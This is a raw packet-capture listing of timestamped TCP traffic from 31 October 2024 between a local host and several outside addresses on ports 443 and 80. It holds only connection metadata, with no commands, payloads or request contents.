Oct 31, 2024 11:27:11.773459911 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.773524046 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.773535967 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.783360958 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.783447981 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.783462048 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.826580048 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.826606035 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.841922045 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.841960907 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.842025995 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.842084885 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.842087030 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.842145920 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.842178106 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.842178106 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.843599081 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.843628883 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.843671083 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.843686104 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.843744993 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.845443010 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.848738909 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.848812103 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.848841906 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.848859072 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.848927021 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.855528116 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.861495018 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.861526012 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.861552954 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.861567974 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.861619949 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.867672920 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.873743057 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.873773098 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.873796940 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.873811007 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.873853922 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.879823923 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.885890007 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.885921001 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.885946035 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.885952950 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.886002064 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.891906977 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.897835016 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.897885084 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.897897005 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.897902966 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.897964001 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.903913975 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.910155058 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.910193920 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.910223007 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.910247087 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.910312891 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.916062117 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.922137022 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.922183990 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.922197104 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.922204971 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.922257900 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.928198099 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.934314013 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.934391022 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.934403896 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.956350088 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:11.956422091 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:11.956521988 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:11.958858013 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:11.958904028 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:11.966634035 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.966671944 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.966703892 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.966708899 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.966726065 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.966758013 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.966836929 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.966886044 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.966891050 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.966953993 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.966985941 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.966996908 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.967000961 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.967046976 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.968669891 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.969197989 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.969242096 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.969259977 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.969276905 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.969319105 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.973882914 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.977058887 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.977118969 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.977123976 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.977133989 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.977185011 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.980319977 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:12.029402018 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:12.029432058 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:12.030687094 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:12.030796051 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:12.030884027 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:12.098957062 CET	443	49747	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:12.099375963 CET	49747	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:12.099400997 CET	443	49747	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:12.100461006 CET	443	49747	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:12.100558996 CET	49747	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:12.102073908 CET	49747	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:12.102159977 CET	443	49747	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:12.154581070 CET	49747	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:12.154599905 CET	443	49747	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:12.201560020 CET	49747	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:12.446103096 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:12.446377039 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:12.446433067 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:12.446774006 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:12.446835041 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:12.447388887 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:12.447441101 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:12.448474884 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:12.448544979 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:12.448647022 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:12.448669910 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:12.448702097 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:12.491348982 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:12.498339891 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:12.730175972 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:12.779721975 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:12.779746056 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:12.780843973 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:12.780940056 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:12.781013012 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:12.809590101 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:12.809684992 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:12.812783003 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:12.812825918 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:12.813091040 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:12.857850075 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:12.871927977 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:12.919337988 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:13.116012096 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:13.116117001 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:13.116244078 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:13.116489887 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:13.116514921 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:13.116530895 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:13.116544962 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:13.176563978 CET	49753	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:13.176603079 CET	443	49753	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:13.176841021 CET	49753	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:13.177342892 CET	49753	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:13.177356005 CET	443	49753	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:13.797262907 CET	49754	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:13.797318935 CET	443	49754	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:13.797389984 CET	49754	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:13.797821999 CET	49754	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:13.797837973 CET	443	49754	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:13.910423994 CET	49755	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:13.910526991 CET	443	49755	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:13.910609961 CET	49755	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:13.911966085 CET	49755	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:13.912019968 CET	443	49755	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:14.018239021 CET	443	49753	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:14.018325090 CET	49753	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:14.019788980 CET	49753	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:14.019800901 CET	443	49753	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:14.020008087 CET	443	49753	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:14.021347046 CET	49753	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:14.067331076 CET	443	49753	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:14.264378071 CET	443	49753	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:14.264446974 CET	443	49753	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:14.264569044 CET	49753	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:14.265500069 CET	49753	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:14.265518904 CET	443	49753	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:14.265758038 CET	49753	443	192.168.2.4	184.28.90.27
Oct 31, 2024 11:27:14.265763044 CET	443	49753	184.28.90.27	192.168.2.4
Oct 31, 2024 11:27:14.658354044 CET	443	49754	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:14.658670902 CET	49754	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:14.658696890 CET	443	49754	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:14.659069061 CET	443	49754	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:14.659137011 CET	49754	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:14.659781933 CET	443	49754	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:14.659836054 CET	49754	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:14.660094023 CET	49754	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:14.660165071 CET	443	49754	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:14.660264015 CET	49754	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:14.660284996 CET	49754	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:14.663348913 CET	443	49754	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:14.701162100 CET	49754	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:14.701176882 CET	443	49754	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:14.748245001 CET	49754	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:14.768383026 CET	443	49755	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:14.768471956 CET	49755	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:14.771612883 CET	49755	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:14.771631002 CET	443	49755	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:14.771873951 CET	443	49755	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:14.785456896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:14.785906076 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:14.790390968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:14.790797949 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:14.790910006 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:14.791109085 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:14.791145086 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:14.795888901 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:14.796067953 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:14.826384068 CET	49755	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:14.969014883 CET	443	49754	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:15.013906956 CET	49754	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:15.013936043 CET	443	49754	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:15.015243053 CET	49754	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:15.015381098 CET	443	49754	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:15.015608072 CET	49754	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:15.665667057 CET	49755	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:15.711334944 CET	443	49755	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:15.951215982 CET	443	49755	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:15.951236010 CET	443	49755	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:15.951242924 CET	443	49755	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:15.951277018 CET	443	49755	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:15.951287031 CET	443	49755	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:15.951293945 CET	443	49755	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:15.951355934 CET	49755	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:15.951395035 CET	443	49755	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:15.951406002 CET	443	49755	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:15.951415062 CET	49755	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:15.951464891 CET	49755	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:15.951473951 CET	443	49755	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:15.951498985 CET	443	49755	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:15.951549053 CET	49755	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:16.201395035 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:16.204190969 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:16.650161028 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:16.650366068 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:16.655405998 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:16.655443907 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:16.655564070 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:16.823676109 CET	49747	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:17.396466970 CET	49755	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:17.396509886 CET	443	49755	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:17.396524906 CET	49755	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:17.396532059 CET	443	49755	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:17.425276995 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:17.425345898 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:17.444495916 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:17.449471951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:18.221052885 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:18.221520901 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:19.306646109 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:19.607620955 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:20.040626049 CET	49723	80	192.168.2.4	199.232.210.172
Oct 31, 2024 11:27:20.217005968 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:20.294156075 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:20.294169903 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:20.295084953 CET	80	49723	199.232.210.172	192.168.2.4
Oct 31, 2024 11:27:20.295253038 CET	49723	80	192.168.2.4	199.232.210.172
Oct 31, 2024 11:27:20.295644999 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.056056023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.056313038 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.283252001 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.288213015 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.559968948 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.560014009 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.560028076 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.560039997 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.560050964 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.560061932 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.560081959 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.560091019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.560226917 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.560226917 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.560328960 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.560368061 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.560373068 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.560379028 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.560409069 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.560427904 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.560482979 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.560493946 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.560523987 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.561055899 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.561115980 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.565260887 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.565327883 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.712785006 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.712860107 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.712990046 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.713006973 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.713018894 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.713030100 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.713037968 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.713042974 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.713053942 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.713063955 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.713068008 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.713124037 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.713423014 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.713453054 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.713463068 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.713465929 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.713495016 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.713507891 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.713603973 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.713614941 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.713625908 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.713638067 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.713645935 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.713669062 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.713696957 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.714376926 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.714421988 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.714432001 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.714437008 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.714478970 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.714533091 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.714544058 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.714555025 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.714566946 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.714579105 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.714615107 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.715307951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.715361118 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.715384960 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.715428114 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.865195990 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.865211964 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.865230083 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.865243912 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.865258932 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.865271091 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.865277052 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.865322113 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.865386963 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.865423918 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.865431070 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.865436077 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.865449905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.865463972 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.865483999 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.865499973 CET	49757	80	192.168.2.4	185.215.113.206
